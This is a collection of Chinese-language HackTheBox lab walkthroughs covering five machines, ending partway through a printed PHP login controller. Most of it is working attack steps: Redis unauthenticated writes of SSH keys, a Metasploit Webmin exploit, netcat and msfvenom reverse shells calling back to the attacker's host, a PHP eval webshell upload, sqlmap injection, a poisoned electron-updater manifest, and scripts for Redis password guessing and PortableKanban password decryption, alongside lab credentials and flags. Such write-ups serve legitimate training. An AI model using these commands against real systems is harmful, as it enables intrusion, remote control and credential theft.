HackTheBox_Walkthrough_Collection

HackTheBox Walkthrough Collection

HackTheBox_Postman

2020/01/15 19:55:48

信息收集

端口扫描

nmap -sV -Pn -p 1-10000 -T5 -n -v -A 10.10.10.160

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Nmap scan report for 10.10.10.160
Host is up (0.29s latency).
Not shown: 9326 closed ports, 672 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
6379/tcp open redis Redis key-value store 4.0.9
10000/tcp open http MiniServ 1.910 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: 91549383E709F4F1DD6C8DAB07890301
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: MiniServ/1.910
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.16 (93%), Linux 3.18 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Android 4.1.1 (92%), Android 4.1.2 (92%), Android 4.2.2 (Linux 3.4) (92%)
No exact OS matches for host (test conditions non-ideal).

Web路径枚举

尝试爆破80端口下的Web路径
未发现有效信息

漏洞利用

尝试直接登入redis服务

1
redis-cli -h 10.10.10.160

利用redis未授权写入ssh密钥,再用ssh登入redis账户

1
2
3
4
5
6
7
8
9
rm -rf ~/.ssh/id*
ssh-keygen -t rsa
(echo -e "\n\n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > new.txt
redis-cli -h 10.10.10.160 flushall
cat new.txt | redis-cli -h 10.10.10.160 -x set crackit
redis-cli -h 10.10.10.160 config set dir /var/lib/redis/.ssh/
redis-cli -h 10.10.10.160 config set dbfilename "authorized_keys"
redis-cli -h 10.10.10.160 save
ssh -i /root/.ssh/id_rsa redis@10.10.10.160

无法在/var/www/html/目录下写入WebShell

发现文件/opt/id_rsa.bak

1
2
3
4
ls -l /opt

total 4
-rwxr-xr-x 1 Matt Matt 1743 Aug 26 00:11 id_rsa.bak

可以确定是Matt账户的ssh密钥

拷贝到本地之后再用脚本转为john可以破解的密码形式

1
2
3
/usr/share/john/ssh2john.py id_rsa.bak > ssh
john --wordlist=/usr/share/wordlists/rockyou.txt ssh
computer2008

得到Matt账户的口令,使用SSH登入Matt账户

1
2
ssh Matt@10.10.10.160
computer2008

权限提升

在MSF中搜索Webmin的相关漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
search webmin

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/webmin/edit_html_fileaccess 2012-09-06 normal No Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
1 auxiliary/admin/webmin/file_disclosure 2006-06-30 normal No Webmin File Disclosure
2 exploit/linux/http/webmin_packageup_rce 2019-05-16 excellent Yes Webmin Package Updates Remote Command Execution
3 exploit/unix/webapp/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi Backdoor
4 exploit/unix/webapp/webmin_show_cgi_exec 2012-09-06 excellent Yes Webmin /file/show.cgi Remote Command Execution
5 exploit/unix/webapp/webmin_upload_exec 2019-01-17 excellent Yes Webmin Upload Authenticated RCE

MSF中调用漏洞利用工具

1
2
3
4
5
6
7
8
use exploit/linux/http/webmin_packageup_rce
set payload cmd/unix/reverse_netcat
set LHOST 10.10.16.14
set RHOSTS 10.10.10.160
set USERNAME Matt
set PASSWORD computer2008
set SSL true
run

获取root权限

1
2
id
uid=0(root) gid=0(root) groups=0(root)

Redis登入之后,可以考虑写入一句话后门/phpinfo这个思路

1
2
3
4
config set dir /var/www/html/
config set dbfilename shell.php
set webshell "<?php phpinfo(); ?>"
save

而这台靶机中无法在/var/www/html/目录下写入文件,提权也比较困难,只能写入SSH密钥

附:
Redis弱口令探测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# -*-  coding:utf-8 -*-
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(pass_))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密码:%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
ip=sys.argv[1]
port=sys.argv[2]
print check(ip,port, timeout=10)

nmap扫描速度巨慢,而且总是会扫漏几个端口,甚至扫全端口时总是会中途因为900s的数据包延迟而中断扫描…(体验极差)

Redis的操作完全没有接触过,十分生疏

Webmin的漏洞利用倒是异常的顺利

参考资料

redis
wp


HackTheBox_Buff

2020/07/27 16:23:58

前期工作

连接服务器,服务器连接代理

网络状态

靶机

信息收集

端口扫描

nmap -sT -Pn --top-port 1000 -sV -T5 10.10.10.198

Web路径扫描

gobuster dir -w /usr/share/wordlists/directory-list-2.3-medium.txt -x .php -u http://10.10.10.198:8080/

漏洞利用

代理浏览器

proxychains firefox

得到CMS相关信息

搜索相关漏洞
searchsploit Gym 1.0

执行EXP
proxychains python 48506.py http://10.10.10.198:8080/

获取Shell

权限提升

服务器开启HTTP服务
pythom -m SimpleHTTPServer 9900

下载nc与plink

1
2
curl -O http://10.10.16.4:9900/nc.exe
curl -O http://10.10.16.4:9900/plink.exe

使用nc反弹shell

1
2
nc -lvnp 9999
nc.exe -e cmd.exe 10.10.16.4 9999

后台进程中发现CloudMe
tasklist | findstr CloudMe

该进程在本地开启了8888端口
netstat -ano | findstr 2556

使用plink进行端口转发
plink.exe -R 9901:127.0.0.1:8888 root@10.10.16.4 -pw YOUR_PASSWORD

查看服务器端口
netstat -antlp | grep 9901

搜索相关漏洞
searchsploit cloudme

使用EXP 44470.py

1
2
searchsploit -m 44470.py
cat 44470.py

使用msfvenom构造payload
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.4 LPORT=4444 -f c

修改payload,且修改端口为9901之后上传EXP至服务器
scp 44470.py root@hk:/root/

监听端口4444
nc -lvnp 4444

执行EXP
python 44470.py

提权成功

查看flag


HackTheBox_love

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
nmap -sV -sT -Pn 10.10.10.239

Nmap scan report for 10.10.10.239
Host is up (0.87s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.91%I=7%D=6/9%Time=60C04557%P=x86_64-pc-linux-gnu%r(NUL
SF:L,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed
SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(GenericLines,4
SF:9,"E\0\0\x01\xffj\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x2
SF:0to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(HTTPOptions,49,"E
SF:\0\0\x01\xffj\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\
SF:x20connect\x20to\x20this\x20MariaDB\x20server")%r(RPCCheck,49,"E\0\0\x0
SF:1\xffj\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\x20conn
SF:ect\x20to\x20this\x20MariaDB\x20server")%r(DNSStatusRequestTCP,49,"E\0\
SF:0\x01\xffj\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\x20
SF:connect\x20to\x20this\x20MariaDB\x20server")%r(TerminalServerCookie,49,
SF:"E\0\0\x01\xffj\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20t
SF:o\x20connect\x20to\x20this\x20MariaDB\x20server")%r(Kerberos,49,"E\0\0\
SF:x01\xffj\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\x20co
SF:nnect\x20to\x20this\x20MariaDB\x20server")%r(X11Probe,49,"E\0\0\x01\xff
SF:j\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\x20connect\x
SF:20to\x20this\x20MariaDB\x20server")%r(FourOhFourRequest,49,"E\0\0\x01\x
SF:ffj\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\x20connect
SF:\x20to\x20this\x20MariaDB\x20server")%r(LDAPSearchReq,49,"E\0\0\x01\xff
SF:j\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\x20connect\x
SF:20to\x20this\x20MariaDB\x20server")%r(LDAPBindReq,49,"E\0\0\x01\xffj\x0
SF:4Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\x20connect\x20to
SF:\x20this\x20MariaDB\x20server")%r(SIPOptions,49,"E\0\0\x01\xffj\x04Host
SF:\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\x20connect\x20to\x20t
SF:his\x20MariaDB\x20server")%r(TerminalServer,49,"E\0\0\x01\xffj\x04Host\
SF:x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\x20connect\x20to\x20th
SF:is\x20MariaDB\x20server")%r(NCP,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.
SF:16\.2'\x20is\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaD
SF:B\x20server")%r(JavaRMI,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.16\.2'\x
SF:20is\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20ser
SF:ver");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
nmap -A -p 443 10.10.10.239

Nmap scan report for 10.10.10.239
Host is up (0.75s latency).

PORT STATE SERVICE VERSION
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows 10 1709 - 1909 (95%), Microsoft Windows Longhorn (95%), Microsoft Windows 10 1703 (93%), Microsoft Windows Server 2008 R2 (93%), Microsoft Windows 7 SP1 (93%), Microsoft Windows Vista SP1 (93%), Microsoft Windows 10 1709 - 1803 (93%), Microsoft Windows 10 1809 - 1909 (93%), Microsoft Windows 10 1511 (92%), Microsoft Windows Server 2008 SP2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts: www.example.com, www.love.htb

这里需要对SSL端口进行更加详细的扫描才能得到域名staging.love.htb
不使用域名访问443端口则会被403
5000端口则是直接403

漏洞利用

用域名访问443端口可以看到一个LFI漏洞
file协议读取即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
#C:\xampp\htdocs\omrs\login.php
session_start();
include 'includes/conn.php';

if(isset($_POST['login'])){
$voter = $_POST['voter'];
$password = $_POST['password'];

$sql = "SELECT * FROM voters WHERE voters_id = '$voter'";
$query = $conn->query($sql);

if($query->num_rows < 1){
$_SESSION['error'] = 'Cannot find voter with the ID';
}
else{
$row = $query->fetch_assoc();
if(password_verify($password, $row['password'])){
$_SESSION['voter'] = $row['id'];
}
else{
$_SESSION['error'] = 'Incorrect password';
}
}

}
else{
$_SESSION['error'] = 'Input voter credentials first';
}

header('location: index.php');

?>
1
2
3
4
5
6
7
8
9
<?php
#C:\xampp\htdocs\omrs\admin\includes\conn.php
$conn = new mysqli('localhost', 'root', '', 'votesystem');

if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
#C:\xampp\htdocs\omrs\admin\login.php
session_start();
include 'includes/conn.php';

if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];

$sql = "SELECT * FROM admin WHERE username = '$username'";
$query = $conn->query($sql);

if($query->num_rows < 1){
$_SESSION['error'] = 'Cannot find account with the username';
}
else{
$row = $query->fetch_assoc();
if(password_verify($password, $row['password'])){
$_SESSION['admin'] = $row['id'];
}
else{
$_SESSION['error'] = 'Incorrect password';
}
}

}
else{
$_SESSION['error'] = 'Input admin credentials first';
}

header('location: index.php');

?>
1
2
3
4
5
6
7
8
9
<?php
#C:\xampp\htdocs\omrs\admin\includes\conn.php
$conn = new mysqli('localhost', 'root', '', 'votesystem');

if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}

?>

明显地存在SQL注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
sqlmap -u "http://10.10.10.239/login.php" -data "voter=123&password=321&login=" --dbs
available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
[*] votesystem

sqlmap -u "http://10.10.10.239/admin/login.php" -data "username=123&password=321&login=" -D votesystem --tables
Database: votesystem
[5 tables]
+------------+
| admin |
| candidates |
| positions |
| voters |
| votes |
+------------+

sqlmap -u "http://10.10.10.239/admin/login.php" -data "username=123&password=321&login=" -D votesystem -T admin --columns
Database: votesystem
Table: admin
[7 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| created_on | date |
| firstname | varchar(50) |
| id | int(11) |
| lastname | varchar(50) |
| password | varchar(60) |
| photo | varchar(150) |
| username | varchar(50) |
+------------+--------------+

sqlmap -u "http://10.10.10.239/admin/login.php" -data "username=123&password=321&login=" -D votesystem -T admin -C username, password --dump
Database: votesystem
Table: admin
[1 entry]
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$4E3VVe2PWlTMejquTmMD6.Og9RmmFN.K5A1n99kHNdQxHePutFjsC |
+----------+--------------------------------------------------------------+

sqlmap -u "http://10.10.10.239/admin/login.php" -data "username=123&password=321&login=" -D votesystem -T voters --columns
Database: votesystem
Table: voters
[6 columns]
+-----------+--------------+
| Column | Type |
+-----------+--------------+
| firstname | varchar(30) |
| id | int(11) |
| lastname | varchar(30) |
| password | varchar(60) |
| photo | varchar(150) |
| voters_id | varchar(15) |
+-----------+--------------+


sqlmap -u "http://10.10.10.239/admin/login.php" -data "username=123&password=321&login=" -D votesystem -T voters -C voters_id, password --dump
+-----------+----------+
| voters_id | password |
+-----------+----------+
+-----------+----------+

然而这里Hash爆破速度过慢, Bcrypt的运算复杂程度远高于md5

看了眼别人WP
用443端口的功能访问本地5000得到登入凭证
admin:@LoveIsInTheAir!!!!
一直用渗透的常规思路打这台靶机, 没想到整这么一出
登入后台后上传Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
POST /admin/voters_add.php HTTP/1.1

Host: 10.10.10.239
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------7586397232801671174932942436
Content-Length: 696
Origin: http://10.10.10.239
Connection: close
Referer: http://10.10.10.239/admin/voters.php
Cookie: PHPSESSID=uofg65u57tbm4rp6jbn0359660
Upgrade-Insecure-Requests: 1

-----------------------------7586397232801671174932942436
Content-Disposition: form-data; name="firstname"

1
-----------------------------7586397232801671174932942436
Content-Disposition: form-data; name="lastname"

2
-----------------------------7586397232801671174932942436
Content-Disposition: form-data; name="password"

333
-----------------------------7586397232801671174932942436
Content-Disposition: form-data; name="photo"; filename="shell.php"
Content-Type: image/jpeg

<?php eval($_POST["cmd"]);?>

-----------------------------7586397232801671174932942436
Content-Disposition: form-data; name="add"


-----------------------------7586397232801671174932942436--

蚁剑上传nc反弹shell

1
2
type c:\users\phoebe\desktop\user.txt
fc8833cab6af6700441328fd2a4ecc04

权限提升

找到alwaysinstallelevated,即当注册表中的alwaysinstallelevated设置为1时,机器上运行任何的msi程序,均会以system权限执行,我们只需生成一个msi的木马程序即可提权。
https://zhuanlan.zhihu.com/p/375373404

1
2
3
4
5
6
7
8
9
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1

msfvenom生成一个Shell即可

1
2
type c:\users\administrator\desktop\root.txt
a0f54f7853efdefe4c8cef97186db4c8

msfvenom & nc

本着能不用MSF就不用了MSF的原则
没有使用meterpreter
但是发现有(staged)标识还是不能用nc直接接收Shell的
最后用windows/x64/shell/reverse_tcp


HackTheBox_Atom

端口扫描

1
2
3
4
5
6
7
8
9
10
11
nmap -sV -sT -Pn 10.10.10.237

Nmap scan report for 10.10.10.237
Host is up (0.30s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
135/tcp open msrpc Microsoft Windows RPC
443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: ATOM; OS: Windows; CPE: cpe:/o:microsoft:windows

漏洞利用

1
2
3
4
5
6
7
8
9
smbclient -L 10.10.10.237

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Software_Updates Disk
SMB1 disabled -- no workgroup available
1
2
3
4
5
6
7
8
9
10
11
smbclient \\\\10.10.10.237\\software_updates

smb: \> dir
. D 0 Fri Jun 11 11:18:21 2021
.. D 0 Fri Jun 11 11:18:21 2021
client1 D 0 Fri Jun 11 11:18:21 2021
client3 D 0 Fri Jun 11 11:18:21 2021
UAT_Testing_Procedures.pdf A 35202 Fri Apr 9 19:18:08 2021
4413951 blocks of size 4096. 1381036 blocks available
smb: \> get UAT_Testing_Procedures.pdf
getting file \UAT_Testing_Procedures.pdf of size 35202 as UAT_Testing_Procedures.pdf (6.3 KiloBytes/sec) (average 6.3 KiloBytes/sec)

Note taking application built with electron-builder which helps users in taking important
notes.

electron-builder可以在google上搜到一个RCE漏洞

https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.html

构造payload

1
2
3
4
5
6
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.3 LPORT=9996 -f exe > s\'hell.exe

cat latest.yml
version: 1.2.3
path: http://10.10.16.3:9999/s'hell.exe
sha512: pyfnrQs40RwrwKOWykgeZ0PKeSudGkN1UI/9j+PpxG4M42uY88j/hNAx7xWonk57X0GMdPIOma9FsfeBglTLMQ==

开启HTTP服务

1
python3 -m http.server 9999

latest.yml上传至client*文件夹中

1
2
type c:\users\jason\desktop\user.txt
3eda0e1bce259d8ffd4c1994f84bfdea

权限提升

1
2
type c:\"program files"\redis\redis.windows.conf
requirepass kidvscat_yes_kidvscat
1
2
3
4
5
6
7
8
9
10
redis-cli -h 10.10.10.237 -a kidvscat_yes_kidvscat

keys *
1) "pk:ids:User"
2) "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"
3) "pk:ids:MetaDataClass"
4) "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"

get pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
"{\"Id\":\"e8e29158d70d44b1a1ba4949d52790a0\",\"Name\":\"Administrator\",\"Initials\":\"\",\"Email\":\"\",\"EncryptedPassword\":\"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi\",\"Role\":\"Admin\",\"Inactive\":false,\"TimeStamp\":637530169606440253}"
1
2
3
dir c:\users\jason\downloads\

d----- 4/2/2021 8:21 PM PortableKanban

存在一个密码恢复的漏洞

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3
import json
import base64
from des import * # python3 -m pip install des
import sys

def decode(hash):
hash = base64.b64decode(hash.encode('utf-8'))
key = DesKey(b"7ly6UznJ")
return key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8')

print(decode("Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi"))

得到kidvscat_admin_@123

evil-rm登入

1
2
type c:\users\administrator\desktop\root.txt
2b36cf6bd3cd95fc37d6e2f81e80163b

这提权部分实在是过于牵强了…


HackTheBox_Breadcrumbs

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
nmap -sV -sT -Pn 10.10.10.228

Nmap scan report for 10.10.10.228
Host is up (0.38s latency).
Not shown: 992 closed ports
PORTSTATE SERVICE VERSION
22/tcp openssh OpenSSH for_Windows_7.7 (protocol 2.0)
80/tcp openhttp Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
135/tcp openmsrpcMicrosoft Windows RPC
139/tcp opennetbios-ssn Microsoft Windows netbios-ssn
443/tcp openssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
445/tcp openmicrosoft-ds?
1107/tcp filtered isoipsigport-2
3306/tcp openmysql?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.91%I=7%D=6/11%Time=60C2E951%P=x86_64-pc-linux-gnu%r(NU
SF:LL,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.16\.3'\x20is\x20not\x20allowe
SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(GenericLines,
SF:49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.16\.3'\x20is\x20not\x20allowed\x
SF:20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

路径扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
dirb http://10.10.10.228/

---- Scanning URL: http://10.10.10.228/ ----
+ http://10.10.10.228/aux (CODE:403|SIZE:301)
==> DIRECTORY: http://10.10.10.228/books/
==> DIRECTORY: http://10.10.10.228/Books/
+ http://10.10.10.228/cgi-bin/ (CODE:403|SIZE:301)
+ http://10.10.10.228/com1 (CODE:403|SIZE:301)
+ http://10.10.10.228/com2 (CODE:403|SIZE:301)
+ http://10.10.10.228/com3 (CODE:403|SIZE:301)
+ http://10.10.10.228/con (CODE:403|SIZE:301)
==> DIRECTORY: http://10.10.10.228/css/
==> DIRECTORY: http://10.10.10.228/db/
==> DIRECTORY: http://10.10.10.228/DB/
+ http://10.10.10.228/examples (CODE:503|SIZE:401)
==> DIRECTORY: http://10.10.10.228/includes/
+ http://10.10.10.228/index.php (CODE:200|SIZE:2368)
==> DIRECTORY: http://10.10.10.228/js/
+ http://10.10.10.228/licenses (CODE:403|SIZE:420)
+ http://10.10.10.228/lpt1 (CODE:403|SIZE:301)
+ http://10.10.10.228/lpt2 (CODE:403|SIZE:301)
+ http://10.10.10.228/nul (CODE:403|SIZE:301)
==> DIRECTORY: http://10.10.10.228/php/
==> DIRECTORY: http://10.10.10.228/PHP/
+ http://10.10.10.228/phpmyadmin (CODE:403|SIZE:301)
==> DIRECTORY: http://10.10.10.228/portal/
+ http://10.10.10.228/prn (CODE:403|SIZE:301)
+ http://10.10.10.228/server-info (CODE:403|SIZE:420)
+ http://10.10.10.228/server-status (CODE:403|SIZE:420)
+ http://10.10.10.228/webalizer (CODE:403|SIZE:301)

---- Entering directory: http://10.10.10.228/portal/ ----
==> DIRECTORY: http://10.10.10.228/portal/assets/
+ http://10.10.10.228/portal/aux (CODE:403|SIZE:301)
+ http://10.10.10.228/portal/com1 (CODE:403|SIZE:301)
+ http://10.10.10.228/portal/com2 (CODE:403|SIZE:301)
+ http://10.10.10.228/portal/com3 (CODE:403|SIZE:301)
+ http://10.10.10.228/portal/con (CODE:403|SIZE:301)
==> DIRECTORY: http://10.10.10.228/portal/db/
==> DIRECTORY: http://10.10.10.228/portal/DB/

==> DIRECTORY: http://10.10.10.228/portal/includes/
+ http://10.10.10.228/portal/index.php (CODE:302|SIZE:0)
+ http://10.10.10.228/portal/lpt1 (CODE:403|SIZE:301)
+ http://10.10.10.228/portal/lpt2 (CODE:403|SIZE:301)
+ http://10.10.10.228/portal/nul (CODE:403|SIZE:301)
==> DIRECTORY: http://10.10.10.228/portal/php/
==> DIRECTORY: http://10.10.10.228/portal/PHP/

+ http://10.10.10.228/portal/prn (CODE:403|SIZE:301)

==> DIRECTORY: http://10.10.10.228/portal/uploads/
==> DIRECTORY: http://10.10.10.228/portal/vendor/
-----------------
END_TIME: Sat Jun 12 13:42:20 2021
DOWNLOADED: 9224 - FOUND: 27

漏洞利用

访问路径/php/books.php

1
2
3
POST /includes/bookController.php HTTP/1.1

title=a&author=&method=0
1
2
3
POST /includes/bookController.php HTTP/1.1

book=book7.html&method=1

可以看到对/includes/bookController.php发起的两种POST请求
第二种请求存在LFI

1
2
Warning:  file_get_contents(../books/): Failed to open stream: No such file or directory in C:\Users\www-data\Desktop\xampp\htdocs\includes\bookController.php on line 28
false

且Apache配置上存在目录遍历漏洞, 可以配合LFI进行文件读取

  • /portal/authController.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
<?php
require 'db/db.php';
require "cookie.php";
require "vendor/autoload.php";
use \Firebase\JWT\JWT;

$errors = array();
$username = "";
$userdata = array();
$valid = false;
$IP = $_SERVER['REMOTE_ADDR'];

//if user clicks on login
if($_SERVER['REQUEST_METHOD'] === "POST"){
if($_POST['method'] == 0){
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT username,position FROM users WHERE username=? LIMIT 1";
$stmt = $con->prepare($query);
$stmt->bind_param('s', $username);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_array(MYSQLI_ASSOC)){
array_push($userdata, $row);
}
$userCount = $result->num_rows;
$stmt->close();

if($userCount > 0){
$password = sha1($password);
$passwordQuery = "SELECT * FROM users WHERE password=? AND username=? LIMIT 1";
$stmt = $con->prepare($passwordQuery);
$stmt->bind_param('ss', $password, $username);
$stmt->execute();
$result = $stmt->get_result();

if($result->num_rows > 0){
$valid = true;
}
$stmt->close();
}

if($valid){
session_id(makesession($username));
session_start();

$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
$data = array();

$payload = array(
"data" => array(
"username" => $username
));

$jwt = JWT::encode($payload, $secret_key, 'HS256');

setcookie("token", $jwt, time() + (86400 * 30), "/");

$_SESSION['username'] = $username;
$_SESSION['loggedIn'] = true;
if($userdata[0]['position'] == ""){
$_SESSION['role'] = "Awaiting approval";
}
else{
$_SESSION['role'] = $userdata[0]['position'];
}

header("Location: /portal");
}

else{
$_SESSION['loggedIn'] = false;
$errors['valid'] = "Username or Password incorrect";
}
}

elseif($_POST['method'] == 1){
$username=$_POST['username'];
$password=$_POST['password'];
$passwordConf=$_POST['passwordConf'];

if(empty($username)){
$errors['username'] = "Username Required";
}
if(strlen($username) < 4){
$errors['username'] = "Username must be at least 4 characters long";
}
if(empty($password)){
$errors['password'] = "Password Required";
}
if($password !== $passwordConf){
